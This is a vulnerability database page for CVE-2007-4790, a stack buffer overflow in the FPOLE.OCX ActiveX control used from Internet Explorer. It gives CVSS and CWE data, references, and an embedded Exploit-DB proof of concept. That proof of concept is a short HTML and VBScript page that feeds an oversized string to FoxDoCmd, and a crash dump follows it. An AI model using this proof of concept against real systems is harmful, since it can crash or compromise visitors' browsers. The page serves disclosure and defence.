CVE-2007-4790 : Detail

CVE-2007-4790

Overflow
73.68%V4
Network
2007-09-10
19h00 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in certain ActiveX controls in (1) FPOLE.OCX 6.0.8450.0 and (2) Foxtlib.ocx, as used in the Microsoft Visual FoxPro 6.0 fpole 1.0 Type Library; and Internet Explorer 5.01, 6 SP1 and SP2, and 7; allows remote attackers to execute arbitrary code via a long first argument to the FoxDoCmd function.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4369

Publication date : 2007-09-05 22h00 +00:00
Author : shinnai
EDB Verified : Yes

<pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">----------------------------------------------------------------------------------------------------------- <b>0-day: Microsoft Visual FoxPro 6.0 fpole 1.0 Type Library (FPOLE.OCX v. 6.0.8450.0) Remote Stack Overflow</b> url: http://www.microsoft.com author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 This control is marked as: <b>RegKey Safe for Script: Falso RegKey Safe for Init: Falso Implements IObjectSafety: Vero IDisp Safe: Safe for untrusted: caller KillBitSet: Falso</b> This is a dump: <b>registers: EAX 000287C4 ECX 017923C8 EDX 017FC60D ASCII "bbbbbbbbbbbb..." EBX 04E51ED8 ESP 017FC3C0 EBP 017FC5FC ESI 000493E1 EDI 7C80BDB6 kernel32.lstrlenA EIP 04E46807 FPOLE.04E46807 ********************************************* stack: [...] 017FC60C |62626262 017FC610 |62626262 017FC614 |62626262 017FC618 |62626262 017FC61C |62626262 [...]</b> so I think code execution is possible even if, in this moment of my life, I really have no time to investigate :) ----------------------------------------------------------------------------------------------------------- <object classid='clsid:EF28418F-FFB2-11D0-861A-00A0C903A97F' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language = 'vbscript'> Sub tryMe() buff = String(300000, "b") test.FoxDoCmd buff, 1 End Sub </script> </span></span> </code></pre> # milw0rm.com [2007-09-06]

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 5.01

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Internet_explorer >> Version 6

    Microsoft>>Internet_explorer >> Version 7

    Microsoft>>Visual_foxpro >> Version 6.0

    References

    http://www.securitytracker.com/id?1019378
    Tags : vdb-entry, x_refsource_SECTRACK
    http://marc.info/?l=bugtraq&m=120361015026386&w=2
    Tags : vendor-advisory, x_refsource_HP
    https://www.exploit-db.com/exploits/4369
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://marc.info/?l=bugtraq&m=120361015026386&w=2
    Tags : vendor-advisory, x_refsource_HP
    http://www.us-cert.gov/cas/techalerts/TA08-043C.html
    Tags : third-party-advisory, x_refsource_CERT
    http://www.securityfocus.com/bid/25571
    Tags : vdb-entry, x_refsource_BID